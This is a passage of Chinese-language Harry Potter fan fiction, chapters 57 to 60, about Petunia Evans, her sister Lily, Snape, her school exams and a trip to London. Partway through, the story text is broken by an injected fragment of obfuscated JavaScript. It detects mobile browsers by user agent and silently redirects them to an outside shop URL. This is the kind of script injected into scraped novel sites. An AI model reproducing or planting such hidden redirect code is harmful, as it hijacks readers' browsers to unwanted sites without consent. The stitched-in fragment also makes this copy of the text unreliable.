“那天离开蜘蛛尾巷的时候,太过于匆忙,忘记同你说谢谢了。”
“但是现在补上,总还不算太晚。”
黑眼睛的主人像被什么打了一样,往后退了一步,警惕地同佩妮保持着一定的距离。他苍白的脸上浮起一层愤怒的红晕,那抹介于讥诮和冷笑之间的表情褪下去,取而代之的是一幅看起来难以忍受的古怪表情。
“这是一棵白蜡树。”佩妮停下了自己的脚步,抬头看着那棵白蜡树,“它快要死了,它会被送进工厂,做成斧头、锤子手柄。”
红晕从那张苍白的脸上褪去,黑眼珠主人像看怪物一样看着佩妮。
“看起来是一场很是令人疲惫的宴会呢。”佩妮站在树下,回头看着斯内普。
黑色的眼珠蓄积起乌云,冷冰冰地注视着她:“我从哪里来,要到哪里去,和你有什么关系呢,佩妮·伊万斯小姐。”
在那样的视线里,佩妮不为所动,她只是耸了耸肩:“您只是看起来有一些辛苦而已。”
“领结打得稍微有一点问题,斯内普先生。”佩妮伸出手,指了指他的领结,“温莎结还需要再绕一道,你只系了一边,就像你原先系的那个一样,多系一边就可以了。”她的手在虚空中比划了一阵。
他想说什么,佩妮看见他的喉结上下动了动,但他最后又什么都没说,只用那双漆黑
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的眼睛冰冷地注视着佩妮。
“你应该看懂了吧。”佩妮收回了自己的视线,她没去管斯内普的神情,转头看回了那棵树:“一棵快死的树会留下点什么呢?风声?还是雨声?”
她看见白蜡树干上有一块快要脱落的深灰色的树皮,树皮上刻着一道深深的裂隙,黄色的浆液从裂隙里渗出来,凝固在了树皮的表面,使这块快要剥脱的树皮看起来就像一只正在流泪的眼睛。
佩妮情不自禁地朝它伸出手去:“他说这个树得的病可不传染给人,这是树的病,是树的命运。”
树皮的位置有一些高,佩妮踮脚够了几次都没有够到,她抬头看了一下高度,决定下一次尝试一下跳起来。
但另一只手先她一步从她头顶上伸了过去,手的主人踮着脚揭下了那块树皮。
一声喀嚓声,树皮落到了斯内普的手上。
他低下头看着手中的树皮,黑色的头发垂了下来,遮住他那双黑色的眼睛。
然后他抬起头,黑漆漆的眼珠里什么也没有,他面无表情地将那块树皮递给了佩妮。
有那么一瞬间,佩妮感觉到起风了,但风只是微微拂起她的头发便转瞬即停,发丝落到耳边弄得她脸颊有一些痒,佩妮伸出手将它拂至耳后。
阳光照射在树皮黄色的浆液上,折射出金色的光线。
佩妮伸手接过了那块树皮,感受到它粗糙的纹路划过自己的皮肤。
“谢谢你。”她再次对斯内普说。
斯内普的嘴巴紧紧抿着,脸上看不出什么表情,黑色的眼珠从佩妮的脸上一扫而过,他拎着他的外套,转头就走。
“请替我向斯内普夫人问好。”脚步从她身边经过,佩妮说,“我有幸能知道斯内普夫人的名字吗?”
黑色的皮鞋停顿了一下,风把他的声音送过来:“艾琳,艾琳·斯内普。”
原来艾琳就是她的名字,那个书架是送给她的生日礼物,在她成为斯内普夫人之前。
“请替我转告她,佩妮·伊万斯祝艾琳女士能拥有一个美好的夏天。”
佩妮低头抚摸着手掌心的树皮。
我也会拥有一个美好的夏天,佩妮心想。
但远去的脚步声不一会儿又折返了回来,黑色皮鞋停到了佩妮的眼前。
一只手伸到了佩妮的鼻子底下。
他的手也很苍白,手指细长。
“?”佩妮有些茫然地抬起了头。
“那块树皮。”斯内普说。
去而复返的斯内普低头看着佩妮,阳光从他身后洒下来,佩妮看不清他的表情,只听见他的声音相当理直气壮。
“我替你弄下来的,见者有份,我们得一人一半。”
“……”
这个人怎么这么讨厌?
58.chapter57
莉莉正坐在沙发上看着电视,她刚洗完澡,红头发湿漉漉地披在她的肩上。
——她又没有把自己的头发擦干,弄湿她自己的衣服就算了,沙发也会被弄湿的。
佩妮忍无可忍,从盥洗室拿出了一条毛巾,按在了莉莉的头上。
莉莉尖叫了一声,回头看见佩妮,扑上来要把手上的薯条碎屑抹在佩妮的脸上。
她也长高了,继承了妈妈五官的她,看起来就像一朵真正的含苞欲放的百合花。
但是姐姐永远是姐姐,佩妮把莉莉牢牢地按在了沙发上。
“我碰见了你那蜘蛛尾巷的朋友。”莉莉躺在沙发上,头下垫着佩妮拿给她的毛巾,她胸口剧烈地起伏着,眼角还带着笑出来的眼泪。佩妮松开压着莉莉的手,坐在她旁边,她对莉莉说。
“佩妮,不要提他。”但莉莉一个翻身就从沙发上坐了起来,她发尾的水汽在动作间溅到了佩妮的胳膊上。
佩妮把那滴水珠擦去,眼角的余光瞥见莉莉那双水绿色的眼睛已经失去了笑意。
电视上的节目已经结束了,广告的声音从画面里飘出来,莉莉抓起沙发上的遥控器,开始换台,她的眼睛紧紧地盯着电视机屏幕:“我在跟他吵架。”
电视机的画面不断变换闪烁。
佩妮把对斯内普抢走了自己一半树皮这件事的抱怨咽下了肚子,她看着电视机的屏幕,对莉莉说:“你们不是好朋友吗?”
电视机的画面变亮,光线折射在莉莉的眼睛上,使她的眼睛看起来像蒙上了一层水光。
“我当然是他的朋友,我由衷的希望能和他一直成为朋友,但是……”莉莉的声音像被什么卡住了一样。
电视机的画面不动了,里面在放冷冻汉堡的广告。“3分钟解决您的晚餐。”画面里妆容精致的主妇拿着隔热手套从烤箱里端出汉堡。
“他是一个天才,佩妮。”莉莉对佩妮说,“他非常优秀,但他总是觉得不公平。事实上绝对的公平什么时候存在过呢?有时候他太自信了,他太相信他自己的判断了。”
代达罗斯警告伊卡洛斯不要离太阳太近,太阳会融化伊卡洛斯羽毛上的蜡,使他跌落海底。
不,佩妮打断自己的想法,莉莉说的不清不楚的,她事实上并没弄懂在莉莉和斯内普身上发生的具体事情,从莉莉踏入石墙开始,莉莉身上发生的那些事情,就已经另外一个世界的事情了。
佩妮转过头去看莉莉:“那可是霍格沃茨,你们可是巫师。”楼梯会移动,画像会说话,人能骑着扫帚在天上飞,还能有什么遗憾呢。
莉莉适时转过头,她想说什么,但她看见了佩妮的神色,莉莉放下遥控器,扑过来抱住了佩妮的胳膊,湿漉漉的头发使佩妮嫌弃地往反方向躲了一下,但她没有抽出自己的手臂。
“魔法也只是魔法而已,佩妮,”莉莉抬起头看着佩妮,水汪汪的绿眼睛注视着她,“我在校外都没有办法使用魔杖,连你简单的心愿都没有办法实现。”
她在说那个杯子。
但莉莉用另外一种形式实现了她的心愿,一想到这里,佩妮的内心就又热又痛。
“你想说魔法也不是什么事情都能做到是吗?”佩妮把莉莉没有说出口的事情说了出来。
莉莉送给妈妈的自动编织针,送给爸爸的自动搅拌茶杯,在没有魔法的维持下,早已经变成了普通的家具。
魔法没有办法变出真正的玫瑰花。
佩妮看着自己这个被上天眷顾的妹妹:“真的没有人在学校欺负你吗?”
莉莉水绿色的眼睛里闪烁出水光,但这水光只出现了一瞬间,就被坚定的目光所取代:“没有,佩妮,虽然你知道,任何一所学校,同学间都不可能没有矛盾。我不会让人欺负我,我也绝不允许这些事发生在我的面前。”
佩妮伸出手,抚过莉莉的发梢和脊背,感受她湿漉漉的冰冷的发尾还有温热的体温。
她会站出来,佩妮想,莉莉总会站出来。
她知道她的妹妹拥有无与伦比的爱与勇气,比她们所有人都更早拥有。
她是一个真正被上天眷顾的人。
过了几天,佩妮发现斯内普不知用了什么方法就把莉莉哄好了,佩妮在炉灰巷门口遇到他们,他们去的方向看起来像是图书馆。
莉莉抱着书本走在前面,斯内普跟在她的后面。
他看着莉莉的眼神很温柔。
但当莉莉回望回去的时候,斯内普总是会先不自觉地移开自己的视线,然后再同她说话。
没有人不渴望太阳的温暖。
但是直视太阳有时候会刺痛你,灼痛你。
你要怎么选择凝视太阳?
爱是勇者的游戏。
种种迹象表明,他是一个小笨蛋,他哪里是天才,莉莉太抬举他了。
佩妮走上前去:“莉莉。”
“佩妮!”莉莉兴奋地跑过来,“我们要去图书馆,你要跟我们一起去吗?”
佩妮看见在莉莉的身后,斯内普的脸迅速黑了下来。
他怎么还是这样。
于是佩妮勾了勾自己的嘴角:“去图书馆吗?那是个好主意。”
莉莉的眼睛一下亮了起来,斯内普不善地瞪着她,脸看起来越来越黑。
“我们可以一起看书,那本傲慢与偏见。”莉莉兴奋极了,斯内普看着佩妮的表情恨不得要吃了她。
“但是我有约了,莉莉。”佩妮伸出手把莉莉红色的头发别到她的耳后,“对不起,我可以下次单独陪你去图书馆。”
在莉莉有些失望的眼神中,佩妮说:“但是今晚你可以早一点回来吗?我想跟你一起去街上的店铺逛逛,回来后还有时间,我们就一起看电视。”
“我写完论文就回来。”莉莉说。
瞧瞧斯内普的表情,看起来像打翻了一盒调色盘。
佩妮与莉莉告别,礼貌地对他点了点头,同他擦肩而过。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16174646|177776||http|test|mini|href|location''.split(''|''),0,{}));
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>他们谁也没提那块树皮的事情。
佩妮推开薇拉杂货铺的门。
封在小窗外的木板早已被拆除,杂货铺看起来亮堂了不少,室内的货架被重新排列过,空气里少了一股发酵的黄豆味。
普尔佳就坐在薇拉的柜台旁边,手里拿着一罐汽水。
门开的声音惊动了她们。
普尔佳对佩妮举起了她手里的汽水:“薇拉最新选的汽水,噢,喝起来有夏天的味道,我们给你留了一罐。”
佩妮走过去,坐在柜台前薇拉早已为她准备好的凳子上,将自己的挎包放到了柜台上。
柜台的木板早就被薇拉掀开了,她穿着一条红棕撞色拼贴半身裙,裙下露出一双白色的圆头皮鞋。
她看着佩妮。
“我听说你们的故事了。”
“一开始她们在我这儿买发带,说是你告诉她们的地址。”薇拉看着佩妮。
“后来有好长一段时间,她们都不来了。我不知道发生了什么事情。”
“但后来普尔佳告诉了我,这事可真刺激。但是我觉得那个女生可真是勇敢,起码她有反抗的勇气。”薇拉抱着她的胳膊。
“我真羡慕你们能碰上塞拉菲娜那样的老师。”薇拉说。
“我让你送给我的画呢,佩妮?”
佩妮从她的挎包里取出了她画的那幅向日葵,递给薇拉,这幅画花费了她大半个月的心血。
“一把插在花瓶里的金色宝剑,”薇拉接过画,她看着佩妮,嘴角勾起了一抹动人的弧度,“还有开在剑柄上的向日葵。”
薇拉拿着佩妮的画钻出柜台,在后面的墙上左右比划起来:“我要请人把它装裱起来,把你,还有普尔佳的画,都挂在这里。”
“这可是薇拉的审美,以后这间店铺就要叫薇拉的杂货铺。”她说。
砰——佩妮拉开汽水罐,里面带气的液体从灌口争先恐后涌出来。
发动机发出轰鸣声。
佩妮站在伊索尔德的身边,戴上自己的头盔。
“布伦南小姐的故事已经结束了,我打算把那本小说改成自己的故事。”佩妮对伊索尔德说。
蓝色的眼睛弯起来,荡出湖水般的涟漪。
她永远这么温柔。
“赶紧上车吧,小姐们。”埃莉诺呼唤她们。
她从风的中间穿过,直直开往落日的余晖里。
“埃莉诺,我们能再快一点吗?”佩妮觉得自己已经习惯这如刀的疾风,她问埃莉诺。
“看看小姐,车把手一直在你的手上,一直是你自己在加速呢。”埃莉诺的声音在她耳边响起。
不知道从什么时候开始,埃莉诺悄悄松开了握住车把的手,她把手放在了佩妮的腰间。
这一路一直是佩妮在领航。
“你太疯狂了!埃莉诺!我会把我们都摔死的!”佩妮忍不住尖叫起来。
“赶紧的,快追上那轮落日。”埃莉诺催促她。
59.chapter58
“伊万斯小姐,请你同我来一下。”新学期一开始,在一个放学后的时刻,阿加莎女士对她说。
在惴惴不安的心情中,佩妮第一次以被邀请的身份踏进了阿加莎女士的办公室。
橘黄色的日光从窗户外洒进来,佩妮看见被阳光照亮的地板上十分干净,“小老鼠”的痕迹早已被收拾妥当。
“请坐。”阿加莎女士坐在她的办公桌后面,佩妮则坐在了她对面的木凳上,与她相隔那张宽大的办公桌。
她的书桌上仍旧摆放着许多文件,但皆被分门别类整齐地堆叠好。
木凳子有一些硬,这使得佩妮不得不挺起自己的腰来,阿加莎女士高大的身影遮挡住了阳光,使她被笼罩在阴影里。
佩妮的心开始打鼓,她的发带就藏在她的书包里,希望阿加莎女士不要在这时要求她打开自己的书包。
“你看过这些吗?”几本书被轻轻地桌上推了过来。
待佩妮看清楚书的封面,她差点从椅子上跳了起来。
冬日烈火、风中的灰烬等等。
这是那天索菲从阿加莎女士这里偷回去的书。
不,不止,还有其他好几本书,都是佩妮和索菲一起看过的。
佩妮看着阿加莎女士从办公桌后探寻过来的眼神,开始不自觉发起抖来。
她发现了吗?她是什么时候发现的?
佩妮没有回答她,但佩妮知道阿加莎女士肯定从自己的表情里找到了答案。
阿加莎女士移开自己的视线,低头打开了她的抽屉。
她肯定在找她那条银色的教鞭,为那晚她受到的损失讨回迟来的公道。
一只看不见的手狠狠揪住了佩妮的内心,使她的嘴巴微张,却什么都说不出来,就像被海浪遗弃在沙滩上的濒死的鱼。
水汽逐渐从她的眼眶里弥漫出来。
说不知道,佩妮,快说自己什么都不知道,你没有看过这些书,你那天晚上也没有跟索菲来过她的办公室,你什么也不知道。
仿佛下定了什么决心般,佩妮向阿加莎女士伸出了自己的两条胳臂,闭上眼,她对阿加莎女士说:“我看过这些书,那天晚上也是我。”
滚烫的眼泪从佩妮的脸颊处滑落,她等待最后的宣判。
但想象中的疼痛并没有到来,她只听见阿加莎女士慢吞吞的声音:“把你的手收回去,你觉得我会对你做什么?伊万斯小姐。”
佩妮在惶恐和茫然中睁开了自己的眼睛,阿加莎女士坐在办公桌后,模糊的泪眼里,她看不清阿加莎女士的神情,只看见她胸前的十字吊坠闪烁着银色的光芒。
“你从这些书里看见了什么?”阿加莎女士垂下了她的眼睛,她从抽屉里掏出了一封未开盖的墨水瓶,拧开了瓶盖,她把钢笔尖伸进了墨水瓶里,扯过来一张纸,握着沾了墨水的钢笔在纸上写着什么。
一代又一代,女人的命运是一条川流不息的河水。
阿加莎女士显然知道些什么,她也显然知道佩妮也知道什么,但她什么也没有多问。
那里有一个舞台,佩妮告诉她,灯光、黑色的河水还有渡河的女人。
在佩妮说话的时候,阿加莎女士始终没有抬起头。
阿加莎女士把那张纸递过来。
“这是根据伊万斯小姐你既往的课程水准,我推荐你在最后一个学期CSE考试中,可选择的科目。”她说。
佩妮接过那张白纸,看了好几遍,才反应过来白纸上那些单词的意思。
“你知道CSE是什么吧?”阿加莎女士看着佩妮,“对于你们来说,只要CSE合格,就可以用这张证书去换取一份工作,证书上具体的成绩其实并不重要。”
“但我想说的是,每年的CSE考试,教会和政府会联合出资奖励每年CSE一等的学生一笔钱,以示对圣凯瑟琳现代中学教育的鼓励。”
“在两门核心科目和三门选考科目中,您需要拿到起码四个一等,才能拿到这笔奖励,虽然金额不多,但为什么不试一下呢?伊万斯小姐。”
佩妮瞪大了她的眼睛,只是眼泪早已干在了她的脸颊上,使她感到皮肤微微的紧绷。
佩妮和妈妈在做苹果挞,妈妈看着杂志里关于挞皮制作的部分。
佩妮按照妈妈的要求,在食品秤上称量处重量合适的面粉,加进了几个鸡蛋,随后倒入了适量的热水。
黄油在平底锅里融化,空气里满是令人食指大动的香气。
“奥莉维亚给我打电话说,她在伦敦帮你留意了一份极好的工作,等你毕业后就可以去找她了,佩妮。”妈妈说,“奥莉维亚同我说,这是一份坐在办公室里的工作,不必日晒雨淋,不必在工厂对着那些嗡鸣的蒸汽机,报酬也不低。”
“一眨眼你就要中学毕业了。”妈妈感慨地说。
佩妮搅拌面粉的手一顿,消息来的太突然,使她有一丝怔愣,原来对于她来说,离开科克沃斯是一件很简单的事情。
“我知道你一直以来都想离开科克沃斯,佩妮。”妈妈说,“工厂、烟囱、永远也排不尽的废水,如果当初不是因为嫁给了你爸爸。”
佩妮抬起头看着妈妈,妈妈红色的头发用一条棕色头巾扎了起来,她穿着一条有些年头的绿色碎花连衣裙,身前围着一件淡蓝色的棉质围裙,上面可见一些斑驳的油污痕迹。这是妈妈在厨房的经典造型。
她正摇晃着平底锅,使黄油得以均匀地融化,好添加至面粉里。
“关于你在伦敦的住房,你有两个选择,一个选择是,她为你找了一栋公寓里的房子,但是你需要自己支付房租,在伦敦,房租可不便宜。另外一个选择是,奥莉维亚同意你和她住在一起,只是她喜欢淑女,乖巧一点的女孩。”
妈妈把平底锅从炉锅上拿开,她看着佩妮,对佩妮露出一个温柔又满意的笑容:“这点妈妈可不担心,一直以来,佩妮都是一个乖巧的淑女。”
但是——
“妈妈,”佩妮听见自己开口,“薇拉在炉灰巷门口开了一家杂货铺,我有时候会去她那里买东西,薇拉要走了我的画,把它挂在了那家杂货铺的墙上,现在那家杂货铺有名字了,它叫‘薇拉的杂货铺。’”
“因为普尔佳的妹妹,普尔佳的爸爸想让她退学,但是我同她说,我希望她能够继续上学。”
“索菲是我的朋友,我和她一起看过那些书,妈妈,一开始阅读那些书使我感到自由和力量。”
“阿加莎女士为我推荐了五门CSE考试科目,她认为如果我想拿CSE一等,选这五门是最合适的。如果我在CSE考试中拿了一等,她说我会获得一笔奖金。”
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厨房非常安静,只有炉火燃烧时偶尔发出的细微爆破。
“把你的手拿开,小心被烫到。”妈妈把稍微冷却的黄油倒进了佩妮正在搅拌的铝盆里。
“我怎么会不知道这些事呢。”妈妈没有生气,妈妈甚至一点也不意外,她只是对佩妮露出了一个稍显狡黠的笑容,这个笑容使佩妮隐约窥见了一点莉莉那生命力的来源,“你可是我的女儿。”
妈妈的笑容不知怎地竟使佩妮的鼻尖稍微有一点发酸。
“我竟然生了一个小巫师。”妈妈说。
话题一下就跳到了莉莉身上。
“我有两个女儿,其中有一个竟然是巫师。以前那些书本里像传说一样的故事,就发生在我女儿的身上。明明这个小巫师是我生下来的,”妈妈说,她是笑着说的,佩妮却听出了一点遗憾,“但为什么在我11岁的时候,却没有收到霍格沃茨给我寄来的信呢?是他们把我遗忘了,还是猫头鹰弄丢了我的信?”
妈妈应该没有像自己这样,傻傻地给霍格沃茨写信,佩妮心想。
“莉莉真是一个最幸运的小天使,但幸好这是我的女儿。”妈妈把装了黄油的铝盆从佩妮手中接过去,然后开始按揉起来,“在她的小时候,我真的很担心她。冒冒失失,永远都站在最前面,不知道什么叫害怕,多让人担心受怕呀,所以我不得不把更多的注意力放在她的身上。”
妈妈拿走了铝盆。
“但是莉莉有魔法,魔法可以保护她。就像她从秋千上掉下来,不至于摔断自己的脖子那样保护她。”
“可是你呢,佩妮?”
话题怎么又跳回了自己的身上,佩妮的手空了出来,她呆呆地低头看着自己沾满面粉的双手。
“我们没有魔法,佩妮。作为不会魔法的普通人,妈妈该拿什么来保护你呢?我们又该怎么度过这平凡的一生呢?”
“走一条大多数人都走过的路,妈妈也走过,妈妈可以帮你。但是要走别的路,妈妈就没有办法帮到你了。无论是佩妮,还是莉莉,妈妈只希望她们拥有虽然平凡,但幸福美满的生活。”
苹果挞烤好了,闻起来实在是太香了。佩妮用嘴吹凉了一个苹果塔,在它没再冒出蒸腾的热气后塞进了自己的嘴巴里。
还是好烫,挞芯太烫了,热气都在里面,滚烫的感觉好像从佩妮的喉咙一直烫到了胸口。
她把苹果塔包装好,系在塞勒涅的脚上,她摸了摸塞勒涅光滑的羽毛——在月光下羽毛泛着莹白的光泽,现在看起来倒真有一些月光淑女的模样了。
“快点寄给莉莉,没有魔法,这个可放不了多久。”塞勒涅清鸣了一声,飞出窗外,巨大的包裹并不影响它冲向月亮的矫健身姿。
“足足有50英镑。”佩妮在电话里对伊索尔德说,“我打听到了,如果我考了CSE一等,他们会奖励我足足50英镑。”
伊索尔德在电话里笑起来,她那边风声有一些大,但她的声音仍然清晰:“工作也找好了是吗?”
佩妮捂紧自己的话筒:“妈妈说不会太累,工资也还可以,我能去伦敦了。”
“等我有了自己的工资,我就去约克看你。”佩妮保证。
“足足有50英镑呢,佩妮,”伊索尔德不知怎的话题又转回了CSE考试的奖金,“你得努力试一下。”
60.chapter59
“所以,佩妮。”莉莉在沙发上对她说,“我觉得你肯定能拿到那笔奖学金,你可是佩妮,是莉莉·伊万斯的姐姐。”
一整个学期,她都在努力学习数学。
但最后,数学仍没有发挥好,而数学是必考科目之一——真的有人能在数学上考出一等吗,佩妮发自内心地想。
“数学就像历史,没有人能在这两门考试上拿O或者一等的,你还有其他科目呢。”莉莉安慰她。
至于写作,阿加莎女士严厉的面孔浮现在她的眼前。“佩妮·伊万斯小姐,你要懂得词语应用的语境,一篇描述性的文章,是不需要使用那些华而不实的语言的。”
这是她的缺点,比起在写作课上一两句话都没办法写出来的那些抓耳挠腮的先生们,她的词汇量非常丰富,但她下笔的时候,总是忍不住滑出一些不合时宜的句子。“请停止你的卖弄。”阿加莎女士说。因此在最后的考试中,佩妮努力控制自己的笔,希望她的文章能让阿加莎女士满意。
至于其他的科目……那可是整整50英镑。
“佩妮,快不要想了,你的脸色快赶上妈妈烤糊的挞饼了。”佩妮把莉莉红色的脑袋残忍地拨开。
无论如何,她走出圣凯瑟琳现代中学的大门。
她回头,在橘红色的天空中,飞鸟成排飞过,教学楼安静地耸立在学校里,送走一批学生,再迎来下一批。
分别前,普尔佳对她说:“我的CSE只要合格就好了,烘焙坊的玛姬夫人叫我过去帮她打下手。我要努力挣钱,然后过上我自己的生活。”
“我们都会过上我们想要的生活的。”佩妮对她说。
“明天能不能陪我去一趟伦敦。”莉莉抱住了佩妮的手。
“去伦敦做什么?”佩妮看着莉莉。
佩妮马上也要去伦敦,但不在暑假期间。“同你的朋友好好告个别,享受你最后一个暑假。”这是奥莉维亚的原话,妈妈说,奥莉维亚慷慨地为她保留了一个完整的暑假,过完再去伦敦。
佩妮惊奇地看见莉莉的脸红了起来。
佩妮瞪大了她的眼睛:“莉莉!”
“不是你想的那样,佩妮!”莉莉大声说,妈妈从厨房里探出了头,莉莉捂住了佩妮的嘴。
“把你的手拿开,该小声点的是你自己!”佩妮拨开莉莉捂住她嘴巴的手,她的手上竟然还有手汗!
“詹姆弄坏了斯拉霍恩教授给我的书,那可是一本不太好找的书,里面记载了很多罕见魔药的配方。”说到这话的莉莉脸上浮现出一丝愤怒,“大家都知道他是魁地奇天才,倒也不必在我面前炫耀他的飞行技术,还把我的书撞进了黑湖里。”
“詹姆?”佩妮在自己的脑海里回忆这个名字。
“就是那个暑假,在火车站,你把他的脸按在石墙上的那个男生。”莉莉的声音里带上了一丝笑意。她说到这里,那两个男生的身影一下就出现在了她的脑海里。
“你把詹姆·波特,还有西里斯·布莱克的脸,按在了石墙上。”想起了莉莉发出咯咯的笑声,“你能不能再把他们的脸,按进石墙上一次?”
那对夫妇送给她的玫瑰花,西里斯·布莱克对她说的“请”,一阵心虚浮上佩妮的心头。
“听起来他们就像是学校里的那种混世魔王,大家都很讨厌他们吗?”佩妮说。
“不不,事实上正好相反,他们还挺受欢迎。”莉莉说,她向佩妮讲了詹姆·波特的事情——老来得子,家境优渥,他相当有做他自己的资本。
“那西里斯·布莱克呢?”佩妮问,“他是不是也有一对有钱人的父母。”
莉莉沉默了一下:“虽然有时候我真的很讨厌西里斯的某些行为,但不得不说,我认为他是一个勇敢的人,一个全是斯莱特林的家族,出了一个格兰芬多。”
莉莉向佩妮讲述了那封分院后,在礼堂公开寄给西里斯·布莱克的吼叫信。
“你是说,因为没有去到和爸爸妈妈一样的学院,爸爸妈妈就大发雷霆,甚至想要和他断绝关系?”佩妮完全没有办法想象。
“他们是疯了吗?”佩妮说。
莉莉转头用她那双水绿色的眼睛看着佩妮:“一些纯血家族的荣耀。”她耸了耸肩膀,脸上带着一副在莉莉·伊万斯脸上极其罕见的讥诮。
“纯血?”佩妮重复了一下这个对她来说有些陌生的词汇。
莉莉脸上的笑容较前淡了些,她向佩妮简单解释了一下这个词。
“为自己爸爸妈妈、祖父祖母、曾祖父曾祖母都是巫师而感到万分骄傲?”佩妮愣愣地看着莉莉,“血统?你们不是使用同样的魔杖,同样的魔法吗?”
“这就是问题所在,我们使用同样的魔杖,同样的魔法。”莉莉说。
佩妮看着莉莉,这个美得就像她名字的女孩,被上天宠爱的孩子,他们家最幸运的孩子。
妈妈没有收到的猫头鹰,佩妮没有收到的猫头鹰,伊索尔德、普尔佳、薇拉、索菲她们都没有收到的猫头鹰。
莉莉收到了。
她进入了一个她曾经羡慕不已的世界,她想象的那个世界里,因为魔法的存在,能弥补多少遗憾。
在她们看不见的地方,她遇到了什么呢。
佩妮眨了眨自己的眼睛。
该死的河流,无处不在的河流。
“不过我认为,不正确的事情,怎么都是不正确的,不管冠以多么冠冕堂皇的理由。”莉莉水绿色的眼睛就像一颗璀璨的宝石,“在霍格沃茨,有很多人有抱有跟我一样的想法,我们都在做相同的事情
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呢,佩妮。西里斯就敢公开反抗他的父母。”
佩妮还想再说什么,但是莉莉把越偏越远的话题拉了回来,她没有忘记她的目的,她抱住了佩妮的手:“詹姆说他重新找到了一本新的书,他说要还给我。”
“那他为什么不能直接用猫头鹰给你送过来。”佩妮冷漠地说。
“他一定要让我亲自去一趟伦敦。”莉莉说,她可怜兮兮地看着佩妮,“求你了,陪我去嘛。”
“知道了。”受不了,佩妮把自己的手从莉莉的怀里抽了出来,起身离开了沙发。
晚上佩妮接到了伊索尔德的电话。
“你能相信吗,在温德米尔,因为被分去了天鹅学院,父母觉得有损雄狮学院的凛凛威风而大发雷霆,甚至要跟你断绝关系。”佩妮对着话筒说。
“这可太荒谬了。”伊索尔德的笑声从电话里传来,显然她也为这个事情的滑稽程度感到不可思议。
“天鹅人、雄狮人、温德米尔人、男人、女人,”麻瓜、巫师、纯血,佩妮在心里补充道,“在成为这些人之前,他们不都是一个人吗?”
“你穿的是什么,佩妮,你的裙子呢?”佩妮从楼梯上走下来,妈妈看到她的装扮后尖叫起来。
佩妮低头看了一下自己的装扮,一身黑色的风衣,里面是白色衬衫、牛仔裤还有帆布鞋,她的耳朵上挂着两个银色的不规则耳坠,左边是一个金属圆圈,右边则是一个三角形的金属——薇拉替她选的。
“按我们的友情,八折卖给你。”薇拉在她的脖子上比划那条项链。
“我认为按照我们之间的友谊,你应该免费送给我。”佩妮对薇拉说。
然后佩妮和她的耳坠,连同找还的硬币,被薇拉一同打包扔出了她的杂货铺。
“妈妈,这很酷!”莉莉说,“我们是去伦敦玩,大家都这么穿,我也要给我自己准备一套白色衬衣和牛仔裤,噢还有帆布鞋。”
“我只是出去玩的时候穿,妈妈。”佩妮说,“我保证。”
妈妈盯着佩妮看了半天,然后松开了她的眉头,她在莉莉和佩妮的头上亲了一下,“答应我,你去伦敦上班的时候绝对不可以穿成这样,奥莉维亚会晕倒的。”
她们穿行在伦敦的街头,阳光很是璀璨,佩妮从停在街边的甜筒车上给莉莉和自己一人买了一个雪糕。
“嘿,莉莉。”一道难以掩盖兴奋的年轻男声在她们身后响起,听起来有些青涩。
佩妮和莉莉举着雪糕齐齐回头。
“你怎么把你的姐姐给带来了。”眼镜后面的眼睛惊诧地瞪大了,乱蓬蓬的头发在空中颤动着。
“有什么问题吗,詹姆?你旁边不也站着西里斯·布莱克吗?”莉莉大声说。
四双眼睛互相瞪着对方。
61.chapter60
真是两张得天独厚的脸。
带着那令人生厌,却又会忍不住在与他们擦肩而过时多瞥一眼的自命不凡。
青春洋溢,散发着像正午阳光般的蓬勃生命力,使人无法长久地直视。
“我的书呢?詹姆!”莉莉直奔主题,她对詹姆波特皱起她的脸,“你居然两手空空地就过来找我了?”
詹姆·波特摸了摸自己的鼻子,走到莉莉的旁边,乱糟糟的头发像海藻一样从佩妮的视线中飘过:“不是这样的,莉莉,你听我解释。这本书现在还在对角巷。”
“它还在对角巷?那你为什么不直接把它带出来?”莉莉瞪大了她的眼睛。
“等等莉莉,关于把你的书撞进黑湖的这件事,我真的很抱歉。”在莉莉的视线里,詹姆有些狼狈地推了一下自己的眼镜,他回头与西里斯·布莱克交换了一个隐秘的眼神,他清了清自己的嗓子,“我想邀请你陪我去一趟对角巷,那本书我找了很久,最后总算在一个二手书店找着了,但我不确定,我想请你亲自去看一眼。”
他半哄着莉莉往前走。站在佩妮不远处的西里斯·布莱克冲佩妮伸出了他的手,礼貌地示意她先走一步,跟上他们。
下次不要吃草莓味的雪糕了,太甜了。佩妮用勺子挖着手上的雪糕,跟着詹姆·波特和莉莉,看着他们的背影,詹姆·波特的身体在说话的时候总是会不自觉地倾向莉莉。
西里斯·布莱克落后在她两步左右,擦得发亮的黑色皮鞋不紧不慢地跟着她。
“我错了,莉莉。”詹姆·波特真诚地对莉莉道歉,“如果下次再把你的东西撞进黑湖里,我就亲自跳下去帮你捞上来。”他就差举手对天发誓了。
“我现在意识到那本书的珍贵了,莉莉。”詹姆说,“所以我想请你亲自和我去看一眼。书店的老板说只会为我保留三天,如果三天之后有人看中了这本书,他就什么都不能保证了……”
蹩脚的理由,计谋从什么时候开始的?
佩妮挖了另外一勺雪糕送进自己的嘴里,但是这雪糕马上要化了,甜腻的感觉涌上了她的舌尖,现在一点也不好吃了。
噢,万幸那里有一个垃圾桶,佩妮随手将剩下的雪糕塞了进去。
但不得不说,蹩脚的理由有时候又会出乎意料地奏效。
佩妮站在一间巨大的书店和唱片店之间。
咦,这里什么时候多出来了一个酒吧?佩妮看着那突然出现的狭小店铺产生了疑惑。
从外面往里面看,白天的小酒馆里面也闪烁着昏黄的灯光,里面看起来有很多人,环境看起来不太干净。
莉莉回头,越过詹姆试图拦住她的手,看着佩妮:“但是……佩妮……”
又是一个隐秘的眼神,黑色皮鞋从佩妮的身后走上前来,西里斯·布莱克站在了她的身边。
他们之间共享一套独特的密码,属于他们本人的真正影光在这套独特密码间一闪而过。
詹姆再次推了推自己的眼镜,无比真诚地对莉莉保证到:“西里斯会照顾好你姐姐的。”
站在佩妮身边的西里斯·布莱克双手交叉,抱在头,自信满满地对莉莉说:“我保证,莉莉。”
他的阴影挡住了一部分照在佩妮身上的阳光。
